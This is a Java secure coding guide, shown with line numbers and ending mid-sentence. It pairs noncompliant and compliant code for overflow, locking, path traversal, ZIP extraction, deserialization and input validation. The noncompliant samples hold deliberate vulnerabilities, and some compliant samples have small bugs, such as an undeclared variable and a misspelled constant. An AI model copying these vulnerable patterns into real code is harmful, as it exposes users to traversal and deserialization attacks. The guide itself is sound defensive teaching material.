• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1# Java Secure Coding Guide
2
3This document provides secure coding suggestions for Java-based development.
4
5# Data Type
6
7## Prevent integer overflow in numeric operations
8
9**\[Description]**
10
11Ensure that numeric operations do not create a numeric value that is outside of a specific integer range, so as to prevent integer overflows which may lead to unintended behavior.
12
13The built-in integer operators do not indicate overflow or underflow in any way. Common addition, subtraction, multiplication, and division operations may cause integer overflows. In addition, the ranges of Java types are not symmetric (the negation of each minimum value is one more than each maximum value). Therefore, the `java.lang.Math.abs()` method which returns the absolute value of any number can also overflow if given the minimum as an argument.
14
15Integer overflows can be avoided using precondition testing, Math class, upcasting, `BigInteger`, etc.
16
17**\[Noncompliant Code Example]**
18
19```java
20public static int multNum(int num1, int num2) {
21    return num1 * num2;
22}
23```
24
25In this noncompliant code example, when the absolute values of **num1** and **num2** are large and the product of **num1** and **num2** is greater than `Integer.MAX_VALUE` or smaller than `Integer.MIN_VALUE`, the method cannot return the correct result, incurring an overflow.
26
27**\[Compliant Code Example]**
28
29```java
30public static int multNum(int num1, int num2) {
31    return Math.multiplyExact(num1, num2);
32}
33```
34
35This compliant code example uses the `Math.multiplyExact()` method, which is added to Java as part of the Java 8 release, when it is impossible to predict whether an overflow may occur in multiplication operations. This method either returns a mathematically correct value or throw `ArithmeticException`.
36
37## Ensure that division and remainder operations do not result in divide-by-zero errors
38
39**\[Description]**
40
41A division or remainder by zero can result in abnormal program termination and denial of service (DoS). Therefore, the divisor in a division or remainder operation must be checked for zero prior to the operation.
42
43**\[Noncompliant Code Example]**
44
45```java
46long dividendNum = 0;
47long divisorNum = 0;
48long result1 = dividendNum / divisorNum;
49long result2 = dividendNum % divisorNum;
50```
51
52In this noncompliant code example, the divisor is not checked for zero prior to the operation, which may cause program errors.
53
54**\[Compliant Code Example]**
55
56```java
57long dividendNum = 0;
58long divisorNum = 0;
59if (divisorNum != 0) {
60    long result1 = dividendNum / divisorNum;
61    long result2 = dividendNum % divisorNum;
62}
63```
64
65This compliant code example tests the divisor to guarantee there is no possibility of divide-by-zero errors before the operation.
66
67# Expressions
68
69## Do not use a null in any case where an object is required to prevent null pointer reference
70
71**\[Description]**
72
73Using a null in cases where an object is required results in a `NullPointerException` being thrown. Such exceptions should be resolved through pre-check rather than `try...catch`.
74
75**\[Noncompliant Code Example]**
76
77```java
78String env = System.getenv(SOME_ENV);
79if (env.length() > MAX_LENGTH) {
80    ...
81}
82```
83
84In this noncompliant code example, the return value of `System.getenv()` may be null, but `env` is not checked for null before it is used. As a result, a null pointer reference occurs.
85
86**\[Compliant Code Example]**
87
88```java
89String env = System.getenv(SOME_ENV);
90if (env != null && env.length() > MAX_LENGTH) {
91    ...
92}
93```
94
95The compliant code example eliminates null pointer reference by adding a null check for the `System.getenv()` return value.
96
97# Concurrency and Multithreading
98
99## Ensure that actively held locks are released on exceptional conditions
100
101**\[Description]**
102
103An unreleased lock in any thread will prevent other threads from acquiring the same lock, leading to blocking. Programs must release all actively held locks on exceptional conditions. Intrinsic locks of class objects used for method and block synchronization are automatically released on exceptional conditions. However, most Java lock objects are not closeable, so they cannot be automatically released using the try-with-resources feature. In this case, programs must release the locks actively.
104
105**Noncompliant Code Example** (Checked Exception)
106
107```java
108public final class Foo {
109    private final Lock lock = new ReentrantLock();
110
111    public void incorrectReleaseLock() {
112        try {
113            lock.lock();
114            doSomething();
115            lock.unlock();
116        } catch (MyBizException ex) {
117            //Handle the exception
118        }
119    }
120
121    private void doSomething() throws MyBizException {
122        ...
123    }
124}
125```
126
127This noncompliant code example uses a `ReentrantLock`. However, the catch block fails to release the lock when an exception is thrown by the `doSomething()` method.
128
129**\[Compliant Code Example]** (**finally** Block)
130
131```java
132public final class Foo {
133    private final Lock lock = new ReentrantLock();
134
135    public void correctReleaseLock() {
136        lock.lock();
137        try {
138            doSomething();
139        } catch (MyBizException ex) {
140            //Handle the exception
141        } finally {
142            lock.unlock();
143        }
144    }
145
146    private void doSomething() throws MyBizException {
147        ...
148    }
149}
150```
151
152This compliant code example encapsulates operations that could throw an exception in a **try** block immediately after acquiring the lock. The lock is acquired before the **try** block, which ensures that it is held when the **finally** block executes. Calling `lock.unlock()` in the **finally** block ensures that the lock can be released even in the event of an exception.
153
154**Noncompliant Code Example** (Unchecked Exception)
155
156```java
157final class Foo {
158    private final Lock lock = new ReentrantLock();
159
160    public void incorrectReleaseLock(String value) {
161        lock.lock();
162        ...
163        int index = Integer.parseInt(value);
164        ...
165        lock.unlock();
166    }
167}
168```
169
170In this noncompliant code example, when the string passed by the `incorrectReleaseLock()` method is not a number, a `NumberFormatException` will be thrown in subsequent operations. Consequently, the lock is not correctly released.
171
172**\[Compliant Code Example]** (**finally** Block)
173
174```java
175final class Foo {
176    private final Lock lock = new ReentrantLock();
177
178    public void correctReleaseLock(String value) {
179        lock.lock();
180        try {
181            ...
182            int index = Integer.parseInt(value);
183            ...
184        } finally {
185            lock.unlock();
186        }
187    }
188}
189```
190
191This compliant code example encapsulates operations that could throw an exception in a **try** block immediately after acquiring the lock. The lock is acquired before the **try** block, which ensures that it is held when the **finally** block executes. Calling `lock.unlock()` in the **finally** block ensures that the lock can be released even in the event of an exception.
192
193## Do not use **Thread.stop()** to terminate threads
194
195**\[Description]**
196
197Threads preserve class invariants when they are allowed to exit normally. Some thread APIs were initially introduced to facilitate thread suspension, resumption, and termination but were later deprecated due to inherent design weaknesses. For example, the `Thread.stop()` method causes the thread to immediately throw a `ThreadDeath` exception, which usually stops the thread. Calling `Thread.stop()` results in the release of all locks acquired by a thread, potentially exposing the objects protected by the locks when those objects are in an inconsistent state.
198
199**\[Noncompliant Code Example]** (Deprecated **Thread.stop()**)
200
201```java
202public final class Foo implements Runnable {
203    private final Vector<Integer> vector = new Vector<Integer>(1000);
204
205    public Vector<Integer> getVector() {
206        return vector;
207    }
208
209    @Override
210    public synchronized void run() {
211        Random number = new Random(123L);
212        int i = vector.capacity();
213        while (i > 0) {
214            vector.add(number.nextInt(100));
215            i--;
216        }
217    }
218
219    public static void main(String[] args) throws InterruptedException {
220        Thread thread = new Thread(new Foo());
221        thread.start();
222        Thread.sleep(5000);
223        thread.stop();
224    }
225}
226```
227
228In this noncompliant code example, a thread fills a vector with pseudorandom numbers. The thread is forcefully stopped after a specific period of time. Because **Vector** is a thread-safe class, the operations performed by multiple threads on the shared instance will leave it in a consistent state. For example, the `Vector.size()` method always returns the correct number of elements in the vector, because the vector instance uses its own intrinsic lock to synchronize state. However, the `Thread.stop()` method causes the thread to stop and throw a `ThreadDeath` exception. All acquired locks are subsequently released. If the thread was in the process of adding a new integer when it was stopped, the vector would be in an inconsistent state. For example, this could result in `Vector.size()` returning an incorrect element count because the element count was incremented after the element is added.
229
230**\[Compliant Code Example]** (Setting a Thread End Flag)
231
232```java
233public final class Foo implements Runnable {
234    private final Vector<Integer> vector = new Vector<Integer>(1000);
235
236    private boolean done = false;
237
238    public Vector<Integer> getVector() {
239        return vector;
240    }
241
242    public void shutdown() {
243        done = true;
244    }
245
246    @Override
247    public synchronized void run() {
248        Random number = new Random(123L);
249        int i = vector.capacity();
250        while (!done && i > 0) {
251            vector.add(number.nextInt(100));
252            i--;
253        }
254    }
255
256    public static void main(String[] args) throws InterruptedException {
257        Foo foo = new Foo();
258        Thread thread = new Thread(foo);
259        thread.start();
260        Thread.sleep(5000);
261        foo.shutdown();
262    }
263}
264```
265
266This compliant code example uses a flag to request thread termination. The `shutdown()` method is used to set the flag to **true**. The `run()` method of the thread terminates when it finds the flag is **true**.
267
268**\[Compliant Code Example]** (Interruptible)
269
270```java
271public final class Foo implements Runnable {
272    private final Vector<Integer> vector = new Vector<Integer>(1000);
273
274    public Vector<Integer> getVector() {
275        return vector;
276    }
277
278    @Override
279    public synchronized void run() {
280        Random number = new Random(123L);
281        int i = vector.capacity();
282        while (!Thread.interrupted() && i > 0) {
283            vector.add(number.nextInt(100));
284            i--;
285        }
286    }
287
288    public static void main(String[] args) throws InterruptedException {
289        Foo foo = new Foo();
290        Thread thread = new Thread(foo);
291        thread.start();
292        Thread.sleep(5000);
293        thread.interrupt();
294    }
295}
296```
297
298The compliant code example calls the `Thread.interrupt()` method to terminate the thread. Calling `Thread.interrupt()` sets an internal termination flag. The thread polls that flag using the `Thread.interrupted()` method, which both returns **true** if the current thread has been terminated and clears the termination flag.
299
300## Clear customized **ThreadLocal** variables when the thread in the thread pool ends
301
302**\[Description]**
303
304Thread pooling reduces thread creation overhead by reusing threads. However, the reuse of threads causes two problems related to the use of `ThreadLocal` variables:
305
306- Dirty data: `ThreadLocal` variables are not correctly initialized for the current task. Consequently, the task sees `ThreadLocal` variables set by another task executed on the same thread.
307- Memory leak: Since `ThreadLocal` variables are not actively released, the memory cannot be actively reclaimed.
308
309Therefore, the `ThreadLocal` variables used by each task in the thread pool must be automatically cleared after the task ends.
310
311**\[Compliant Code Example]**
312
313```java
314public class TestThreadLocal {
315    public static void main(String[] args) {
316        ThreadPoolExecutor pool = new ThreadPoolExecutor(1, 2, 100,
317            TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>(),
318            Executors.defaultThreadFactory(), new ThreadPoolExecutor.CallerRunsPolicy());
319        for (int i = 0; i < 20; i++) {
320            pool.execute(new TestThreadLocalTask());
321        }
322    }
323}
324
325class TestThreadLocalTask implements Runnable {
326    private static ThreadLocal<Integer> localValue = new ThreadLocal<>();
327
328    @Override
329    public void run() {
330        localValue.set(STATE1);
331        try {
332            ...
333            localValue.set(STATE3);
334            ...
335        } finally {
336            localValue.remove(); //Use the remove() method to clear local variables of the thread to avoid memory leak
337        }
338    }
339}
340```
341
342# Input/Output
343
344## Create files with appropriate access permissions on multi-user systems
345
346**\[Description]**
347
348Files in multi-user systems are generally owned by a particular user. The owner of the files can specify which other users in the system are allowed to access the files. These file systems use a privilege and permission model to protect file access. When a file is created, the file access permissions dictate who are allowed to access or operate on the file. When a program creates a file with insufficiently restrictive access permissions, an attacker may read or modify the file before the program can modify the permissions. Consequently, files must be created with access permissions that prevent unauthorized file access.
349
350**\[Noncompliant Code Example]**
351
352```java
353Writer out = new FileWriter("file");
354```
355
356The constructors for `FileOutputStream` and `FileWriter` do not allow programmers to explicitly specify file access permissions. In this noncompliant code example, the access permissions of any file created are implementation-defined and may not prevent unauthorized access.
357
358**\[Compliant Code Example]**
359
360```java
361Path file = new File("file").toPath();
362
363//Throw an exception, rather than overwrite an existing file
364Set<OpenOption> options = new HashSet<OpenOption>();
365options.add(StandardOpenOption.CREATE_NEW);
366options.add(StandardOpenOption.APPEND);
367
368//Set file permissions to allow only the owner to read/write the file
369Set<PosixFilePermission> perms = PosixFilePermissions.fromString("rw-------");
370FileAttribute<Set<PosixFilePermission>> attr =
371    PosixFilePermissions.asFileAttribute(perms);
372try (SeekableByteChannel sbc = Files.newByteChannel(file, options, attr)) {
373    ... //Write data
374}
375```
376
377**\[Exception]**
378
379When a file is created inside a directory that is both secure and unreadable to untrusted users, the file may be created with the default access permissions. This is the case, for example, if the entire file system is trusted or accessible only to trusted users.
380
381## Validate and canonicalize path names constructed using external data
382
383**\[Description]**
384
385If a path name is constructed using external data, it must be verified. Otherwise, a path traversal vulnerability may occur.
386
387A path name may be either absolute or relative and may contain file links, such as symbolic links, shortcuts, and shadows, which all affect path name validation. Therefore, path names must be canonicalized before being validated. Be sure to use `getCanonicalPath()`, but not `getAbsolutePath()`, to canonicalize path names, because the latter does not guarantee correct canonicalization on all platforms.
388
389**\[Noncompliant Code Example]**
390
391```java
392public void doSomething() {
393    File file = new File(HOME_PATH, fileName);
394    String path = file.getPath();
395
396    if (!validatePath(path)) {
397        throw new IllegalArgumentException("Path Traversal vulnerabilities may exist!") ;
398    }
399    ... //Perform read and write operations on the file
400}
401
402private boolean validatePath(String path) {
403    if (path.startsWith(HOME_PATH)) {
404        return true;
405    } else {
406        return false;
407    }
408}
409```
410
411In this noncompliant code example, the file name comes from external input and is directly concatenated with a fixed path name to generate the actual path name. Before the file is accessed, `validatePath` is used to check whether the actual path name is under a fixed directory. However, an attacker can still access a file outside **HOME\_PATH** by entering an argument that contains **../**.
412
413**\[Compliant Code Example]** (**getCanonicalPath()**)
414
415```java
416public void doSomething() {
417    File file = new File(HOME_PATH, fileName);
418    try {
419        String canonicalPath = file.getCanonicalPath();
420        if (!validatePath(canonicalPath)) {
421            throw new IllegalArgumentException("Path Traversal vulnerability!");
422        }
423        ... //Perform read and write operations on the file
424    } catch (IOException ex) {
425        throw new IllegalArgumentException("An exception occurred ...", ex);
426    }
427}
428
429private boolean validatePath(String path) {
430    if (path.startsWith(HOME_PATH)) {
431        return true;
432    } else {
433        return false;
434    }
435}
436```
437
438This compliant code example canonicalizes the path name constructed using the externally-supplied file name, and validates the canonicalized path name before performing file read/write operations. This practice can effectively prevent risks like path traversal.
439
440## Perform security check when decompressing a ZIP archive using **ZipInputStream**
441
442**\[Description]**
443
444A number of security concerns must be considered when extracting files from a ZIP archive using `java.util.zip.ZipInputStream`:
445
446**1\. Extracting files outside the intended directory**
447
448File names may contain **../** sequences that may cause the files to be extracted outside of the intended directory. Therefore, file names must be validated when files are extracted from a ZIP archive. If the destination path of any file in the ZIP archive is not within the expected directory, either refuse to extract it or extract it to a safe location.
449
450**2\. Excessive consumption of system resources during file extraction**
451
452When extracting files from a ZIP archive, both the number and size of the extracted files need to be limited. The zip algorithm can produce very large compression ratios, to compress a huge file into a small ZIP archive. If the actual size of the files in the ZIP archive is not checked, the extracted files may occupy a large amount of system resources, resulting in a ZIP bomb attack. Therefore, programs must refuse to extract files beyond a certain size limit. The actual limit depends on the capabilities of the platform.
453
454**\[Noncompliant Code Example]**
455
456```java
457public void unzip(String fileName, String dir) throws IOException {
458    try (FileInputStream fis = new FileInputStream(fileName);
459        ZipInputStream zis = new ZipInputStream(fis)) {
460        ZipEntry entry;
461        File tempFile;
462        byte[] buf = new byte[10240];
463        int length;
464
465        while ((entry = zis.getNextEntry()) != null) {
466            tempFile = new File(dir, entry.getName());
467            if (entry.isDirectory()) {
468                tempFile.mkdirs();
469                continue;
470            }
471
472            try (FileOutputStream fos = new FileOutputStream(tempFile)) {
473                while ((length = zis.read(buf)) != -1) {
474                    fos.write(buf, 0, length);
475                }
476            }
477        }
478    }
479}
480```
481
482This noncompliant code example does not validate the name of the file that is being unzipped. It passes the name directly to the constructor of `FileOutputStream`. It also fails to check the resource consumption of the file that is being unzipped. It permits the operation to run to completion or until local resources are exhausted.
483
484**\[Compliant Code Example]**
485
486```java
487private static final long MAX_FILE_COUNT = 100L;
488private static final long MAX_TOTAL_FILE_SIZE = 1024L * 1024L;
489
490...
491
492public void unzip(FileInputStream zipFileInputStream, String dir) throws IOException {
493    long fileCount = 0;
494    long totalFileSize = 0;
495
496    try (ZipInputStream zis = new ZipInputStream(zipFileInputStream)) {
497        ZipEntry entry;
498        String entryName;
499        String entryFilePath;
500        File entryFile;
501        byte[] buf = new byte[10240];
502        int length;
503
504        while ((entry = zis.getNextEntry()) != null) {
505            entryName = entry.getName();
506            entryFilePath = sanitizeFileName(entryName, dir);
507            entryFile = new File(entryFilePath);
508
509            if (entry.isDirectory()) {
510                creatDir(entryFile);
511                continue;
512            }
513
514            fileCount++;
515            if (fileCount > MAX_FILE_COUNT) {
516                throw new IOException("The ZIP package contains too many files.");
517            }
518
519            try (FileOutputStream fos = new FileOutputStream(entryFile)) {
520                while ((length = zis.read(buf)) != -1) {
521                    totalFileSize += length;
522                    zipBombCheck(totalFileSize);
523                    fos.write(buf, 0, length);
524                }
525            }
526        }
527    }
528}
529
530private String sanitizeFileName(String fileName, String dir) throws IOException {
531    file = new File(dir, fileName);
532    String canonicalPath = file.getCanonicalPath();
533    if (canonicalPath.startsWith(dir)) {
534        return canonicalPath;
535    }
536    throw new IOException("Path Traversal vulnerability: ...");
537}
538
539private void creatDir(File dirPath) throws IOException {
540    boolean result = dirPath.mkdirs();
541    if (!result) {
542        throw new IOException("Create dir failed, path is : " + dirPath.getPath());
543    }
544    ...
545}
546
547private void zipBombCheck(long totalFileSize) throws IOException {
548    if (totalFileSize > MAX_TOTAL_FILE_SIZEG) {
549        throw new IOException("Zip Bomb! The size of the file extracted from the ZIP package is too large.");
550    }
551}
552```
553
554This compliant code example validates the name of each file before unzipping it. If a file name is invalid, the extraction is aborted. In fact, a compliant solution could also skip that file and continue the extraction process, or extract the file to a safe location. Furthermore, the code inside the while loop tracks the total size of extracted files and throws an exception if the total size hits the upper limit **MAX\_TOTAL\_FILE\_SIZE**. The code also counts the number of file entries in the ZIP archive and throws an exception if the total number of files hits the upper limit **MAX\_FILE\_COUNT**.
555
556Note: `entry.getSize()` reads the pre-decompression size of individual files from a fixed field, which may have been tampered with. Therefore, do not use `entry.getSize()` to collect statistics about the extracted file size.
557
558## Use integer return type of methods that read a character or byte from a stream
559
560**\[Description]**
561
562The `InputStream.read()` and `Reader.read()` methods are used to read a byte or character, respectively, from a stream.
563
564The `InputStream.read()` method reads a single byte from an input source and returns its value as an 8-bit integer in the range 0x00 to 0xff. The `Reader.read()` method reads a single character and returns its value as a 16-bit integer in the range 0x0000 to 0xffff.
565
566Both methods return the 32-bit integer –1 (0xffffffff) to indicate that the end of the stream has been reached and no data is available.
567
568Prematurely converting the resulting integer to a **byte** or **char** before testing for the value −1 (0xffffffff) makes it impossible to distinguish between characters read and the end of stream indicator.
569
570**\[Noncompliant Code Example]** (**byte**)
571
572```java
573FileInputStream in = getReadableStream();
574
575byte data;
576while ((data = (byte) in.read()) != -1) {
577    //Use data
578    ...
579}
580```
581
582This noncompliant code example casts the value returned by the `read()` method directly to a value of the **byte** type and then compares this value with −1 in an attempt to detect the end of the stream. If the `read()` method returns 0xff which is then converted into a signed byte value –1, it will be incorrectly taken as the end of the stream.
583
584**\[Noncompliant Code Example]** (**char**)
585
586```java
587InputStreamReader in = getReader();
588
589char data;
590while ((data = (char) in.read()) != -1) {
591    //Use data
592    ...
593}
594```
595
596This noncompliant code example casts the value returned by the `read()` method directly to a value of the **char** type and then compares this value with −1 in an attempt to detect the end of the stream. When the end of stream is read, the return value cast to the **char** type is not −1. Consequently, the while loop cannot properly end. The reason is as follows: When the end of stream indicator –1 (0xffffffff) is forcibly converted to the **char** type, it will be converted to 0xffff, instead of –1. Consequently, the test for the end of file never evaluates to true.
597
598**\[Compliant Code Example]** (**byte**)
599
600```java
601FileInputStream in = getReadableStream();
602
603byte data;
604int result;
605while ((result = in.read()) != -1) {
606    data = (byte) result;
607    //Use data
608    ...
609}
610```
611
612**\[Compliant Code Example]** (**char**)
613
614```java
615InputStreamReader in = getReader();
616
617char data;
618int result;
619while ((result = in.read()) != -1) {
620    data = (char) result;
621    //Use data
622    ...
623}
624```
625
626This compliant code example uses a variable of the **int** type to capture the value returned by `read()`, and uses the return value to determine whether the end of stream is read. If the end of stream is not read, the read content is converted to the **char** or **byte** type, so as to avoid misinterpretation of the end of stream.
627
628## Do not let external processes block on input and output streams
629
630**\[Description]**
631
632Two methods can be used to invoke external processes:
633
6341. **exec()** of **java.lang.Runtime**
6352. **start()** of **java.lang.ProcessBuilder**
636
637They all return a **java.lang.Process** object which has encapsulated the external processes.
638
639This process contains an input stream, output stream, and error stream, which must be properly handled to prevent them from being blocked by external processes.
640
641Incorrect handling can cause unexpected exceptions, DoS, and other security problems.
642
6431\. Handling the input stream (`Process.getOutputStream()`) of an external process: **From the invoker's perspective, the input stream of an external process is its output stream**: A process that tries to read input on an empty input stream will block until input is supplied.
644
6452\. Handling the output stream (`Process.getInputStream()`) and error stream (`Process.getErrorStream()`) of an external process: If the external process to be invoked has both output and error streams and the streams are not emptied, the output of the process may exhaust the buffer of the output and error streams. Consequently, the external process is blocked, and the interaction between the invoker and external process is affected. When `java.lang.ProcessBuilder` is used to invoke an external process, the error stream of the process can be redirected to the output stream using the `redirectErrorStream()` method, and the invoker can empty the output stream so that the error stream is emptied together.
646
647**\[Noncompliant Code Example]** (Incorrectly Handling the Return Result of an External Process)
648
649```java
650public void execExtProcess() throws IOException {
651    Process proc = Runtime.getRuntime().exec("ProcessMaybeStillRunning");
652    int exitVal = proc.exitValue();
653}
654```
655
656In this noncompliant code example, the program invokes the `exitValue()` method when the ProcessMaybeStillRunning process has not terminated, which may result in an `IllegalThreadStateException`.
657
658**\[Noncompliant Code Example]** (Failure to Handle the Output and Error Streams of an External Process)
659
660```java
661public void execExtProcess() throws IOException, InterruptedException {
662    Process proc = Runtime.getRuntime().exec("ProcessMaybeStillRunning");
663    int exitVal = proc.waitFor();
664}
665```
666
667Different from the previous example, this example will not result in an `IllegalThreadStateException`. However, the security problems described in the "Description" part may occur since the output and error streams of ProcessMaybeStillRunning are not handled.
668
669**\[Compliant Code Example]**
670
671```java
672public class ProcessExecutor {
673    public void callExtProcess() throws IOException, InterruptedException {
674        Process proc = Runtime.getRuntime().exec("ProcessHasOutput");
675
676        StreamConsumer errConsumer = new StreamConsumer(proc.getErrorStream());
677        StreamConsumer outputConsumer = new StreamConsumer(proc.getInputStream());
678
679        errConsumer.start();
680        outputConsumer.start();
681
682        int exitVal = proc.waitFor();
683
684        errConsumer.join();
685        outputConsumer.join();
686    }
687
688    class StreamConsumer extends Thread {
689        InputStream is;
690
691        StreamConsumer(InputStream is) {
692            this.is = is;
693        }
694
695        @Override
696        public void run() {
697            try {
698                byte data;
699                int result;
700                while ((result = is.read()) != -1) {
701                    data = (byte) result;
702                    handleData(data);
703                }
704            } catch (IOException ex) {
705                //Handle the exception
706            }
707        }
708
709        private void handleData(byte data) {
710            ...
711        }
712    }
713}
714```
715
716This compliant code example spawns two threads to read the output and error streams, so that the external process will not indefinitely block on the streams.
717
718**\[Exception]**
719
720External processes that do not use input, output, or error streams do not need stream handling.
721
722## Promptly remove temporary files after use
723
724**\[Description]**
725
726Temporary files can be used for many purposes, for example, sharing data between processes, caching memory data, and dynamically constructing class files and library files. They may be created in the shared temporary file directory of the operating system. Files in such a directory may be regularly cleaned up, for example, every night or at system restart. However, if the files are not securely created or are still accessible after fulfilling the intended purpose, an attacker who has access to the local file system can perform operations on the files in shared directories. Removing temporary files when they are no longer required allows file names and other resources (such as secondary storage) to be recycled. Each program is responsible for ensuring that temporary files are removed during normal operation.
727
728**\[Noncompliant Code Example]**
729
730```java
731public boolean uploadFile(InputStream in) throws IOException {
732    File tempFile = File.createTempFile("tempname", ".tmp");
733    try (FileOutputStream fop = new FileOutputStream(tempFile)) {
734        int readSize;
735        do {
736            readSize = in.read(buffer, 0, MAX_BUFF_SIZE);
737            if (readSize > 0) {
738                fop.write(buffer, 0, readSize);
739            }
740        } while (readSize >= 0);
741        ... //Perform other operations on the temporary file
742    }
743}
744```
745
746In this noncompliant code example, the temporary file is not removed upon completion.
747
748**\[Compliant Code Example]**
749
750```java
751public boolean uploadFile(InputStream in) throws IOException {
752    File tempFile = File.createTempFile("tempname", ".tmp");
753    try (FileOutputStream fop = new FileOutputStream(tempFile)) {
754        int readSize;
755        do {
756            readSize = in.read(buffer, 0, MAX_BUFF_SIZE);
757            if (readSize > 0) {
758                fop.write(buffer, 0, readSize);
759            }
760        } while (readSize >= 0);
761        ... //Perform other operations on the temporary file
762    } finally {
763        if (!tempFile.delete()) {
764            //Ignore
765        }
766    }
767}
768```
769
770In this compliant code example, the **finally** statement removes the temporary file after using it.
771
772# Serialization
773
774#### Do not deserialize external data directly
775
776**\[Description]**
777
778Deserialization is the process of deserializing a binary stream or string into a Java object. Deserializing external data can cause an attacker to construct a specified object, execute malicious code, inject malicious data into an application, or perform other malicious operations. Insecure deserialization can lead to attacks such as arbitrary code execution, privilege escalation, arbitrary file access, and DoS.
779
780Third-party components are usually used to serialize and deserialize data in JSON, XML, and YAML formats. Common third-party components include fastjson, jackson, XMLDecoder, XStream, and SnakeYmal.
781
782**\[Noncompliant Code Example]**
783
784```java
785public class DeserializeExample implements Serializable {
786    private static final long serialVersionUID = -5809782578272943999L;
787
788    private String name;
789
790    public String getName() {
791        return name;
792    }
793
794    public void setName(String name) {
795        this.name = name;
796    }
797
798    private void readObject(java.io.ObjectInputStream ois) {
799        ois.defaultReadObject();
800        System.out.println("Hack!");
801    }
802}
803
804    //Deserialize external data
805    ObjectInputStream ois2= new ObjectInputStream(fis);
806    PersonInfo myPerson = (PersonInfo) ois2.readObject();
807```
808
809In this noncompliant code example, when the object of the deserialization operation is the serialization result of the **DeserializeExample** object constructed by the attacker, an error will be reported when the `PersonInfo myPerson = (PersonInfo) ois2.readObject()` statement is executed, but the attack code in the `readObject()` method of the **DeserializeExample** object is executed.
810
811**\[Compliant Code Example]** (Trustlist Validation)
812
813```java
814public final class SecureObjectInputStream extends ObjectInputStream {
815    public SecureObjectInputStream() throws SecurityException, IOException {
816        super();
817    }
818
819    public SecureObjectInputStream(InputStream in) throws IOException {
820        super(in);
821    }
822
823    protected Class<?> resolveClass(ObjectStreamClass desc)
824        throws IOException, ClassNotFoundException {
825        if (!desc.getName().equals("com.xxxx.PersonInfo")) {//Trustlist validation
826            throw new ClassNotFoundException(desc.getName() + " not find");
827        }
828        return super.resolveClass(desc);
829    }
830}
831```
832
833In this compliant code example, trustlist validation is performed on the class to be deserialized by reloading the `resolveClass()` method in the customized **ObjectInputStream**. It throws an exception when the class name is not in the trustlist.
834
835**\[Compliant Code Example]** (Using Security Manager)
836
837It is advised to use the Java security manager provided by the product wherever available.
838
839(1) Set **enableSubclassImplementation**.
840
841```
842permission java.io.SerializablePermission "enableSubclassImplementation";
843
844```
845
846(2) Customize **ObjectInputStream** and reload **resolveClass**.
847
848```java
849public final class HWObjectInputStream extends ObjectInputStream {
850    public HWObjectInputStream() throws SecurityException, IOException {
851        super();
852    }
853
854    public HWObjectInputStream(InputStream in) throws IOException {
855        super(in);
856    }
857
858    protected Class<?> resolveClass(ObjectStreamClass desc)
859        throws IOException, ClassNotFoundException {
860        SecurityManager sm = System.getSecurityManager();
861        if (sm != null) {
862            sm.checkPermission(new SerializablePermission(
863                "com.xxxx." + desc.getName()));
864        }
865        return super.resolveClass(desc);
866    }
867}
868```
869
870(3) Set a trustlist in the policy file.
871
872```
873permission java.io.SerializablePermission "com.xxxx.PersonInfo";
874
875```
876
877# External Data Validation
878
879## Validate external data before using it
880
881**\[Description]**
882
883External data includes but is not limited to the network data, user input (including input in command lines and UIs), commands, files (including program configuration files), environment variables, and inter-process communication (including pipes, messages, shared memory, sockets, and RPCs), and cross-trust domain method parameters (for APIs).
884
885Data outside the program is generally considered untrusted. Validation must be performed before using such data. Otherwise, incorrect calculation results, runtime exceptions, inconsistent object status, and injection attacks may occur, severely affecting the system.
886
887**External data validation includes:**
888
889- API parameter validation
890- Data length validation
891- Data range validation
892- Data type and format validation
893- Set size validation
894- Validation to ensure that external data only contains permitted characters (trustlist validation), with special attention to special characters in certain cases
895
896Pay attention to the following points when validating external data:
897
898- Canonicalize external data before validation wherever necessary. For example, both **"\\uFE64"** and **\<** can represent **\<**. In web applications, if external input is not canonicalized, **"\\uFE64"** can be used to circumvent restrictions on **\<**.
899- Modifications to external data must be done before validation to ensure that the validated data is exactly the data to be used.
900
901For performance and code simplicity, the provider validates only the request information for RESTful APIs, and the consumer validates only the response result. For a method in a call chain, the outermost external public method must be validated, and the internal public method does not need to be validated.
902
903**Common validation frameworks:**
904
905Interface: The JSR 380 (Bean Validation 2.0) and JSR 303 (Bean Validation 1.0) JavaBean parameter validation standards defines the core interface **javax.validation.Validator** and many common validation annotations.
906Implementation: hibernate-validator and Spring validator
907
908- hibernate-validator is an implementation of JSR 380 and JSR 303 standards, which extends annotations such as @Email, @Length, @NotEmpty, and @Range.
909- Spring validator is also an implementation of JSR 380 and JSR 303, and provides the **MethodValidationPostProcessor** class for validating methods.
910
911The product can select a proper validation framework or develop one.
912
913**\[Noncompliant Code Example]**
914
915```java
916/**
917 * Change company information
918 *
919 * @param companies New and old company information
920 * @return Whether the company information is changed successfully
921 */
922@RequestMapping(value = "/updating", method = RequestMethod.POST)
923public boolean updateCompany(@RequestBody Companies companies) {
924    return employeeService.updateCompany(companies.getSrcCompany(),
925        companies.getDestCompany());
926}
927```
928
929In this noncompliant code example, the `updateCompany()` interface opened by the provider fails to validate the request, which may lead to attacks.
930
931**\[Compliant Code Example]**
932
933```java
934/**
935 * Change company information
936 *
937 * @param companies New and old company information
938 * @return Whether the company information is changed successfully
939 */
940@RequestMapping(value = "/updating", method = RequestMethod.POST)
941public boolean updateCompany(@RequestBody @Valid @NotNull Companies companies) {
942    return employeeService.updateCompany(
943        companies.getSrcCompany(), companies.getDestCompany());
944}
945
946@Setter
947@Getter
948public class Companies {
949    @Valid
950    @NotNull
951    private Company srcCompany;
952
953    @Valid
954    @NotNull
955    private Company destCompany;
956}
957
958@Setter
959@Getter
960@Accessors(chain = true)
961public class Company {
962    @NotBlank
963    @Size(min = 10, max = 256)
964    private String name;
965
966    @NotBlank
967    @Size(min = 10, max = 512)
968    private String address;
969
970    @Valid
971    private SubCompany subCompany;
972}
973```
974
975This compliant code example uses the @Valid annotation to trigger parameter validation, and the validation logic is the rule specified by the annotation during object attribute declaration. Since the public method `employeeService.updateCompany()` is invoked inside the current module and parameter validation is performed for the invocation, further validation is not required.
976
977**\[Noncompliant Code Example]**
978
979This noncompliant code example directly uses the obtained environment variable value without validating it.
980
981```java
982public static String getFile(String filePath, String fileName) {
983    //Obtain the class path of the process
984    String path = System.getProperty(RUNTIME_BASE_DIR);
985    //Directly use it
986}
987```
988
989**\[Compliant Code Example]**
990
991This compliant code example uses the `getResource()` and `getResourceAsStream()` methods provided by ClassLoader to obtain resources from the loaded class path.
992
993```java
994public static String getSavePath(String filePath, String fileName) {
995    return ClassLoader.getSystemResource(fileName).getPath();
996}
997```
998
999Canonicalize the environment variable value and validate it before using it:
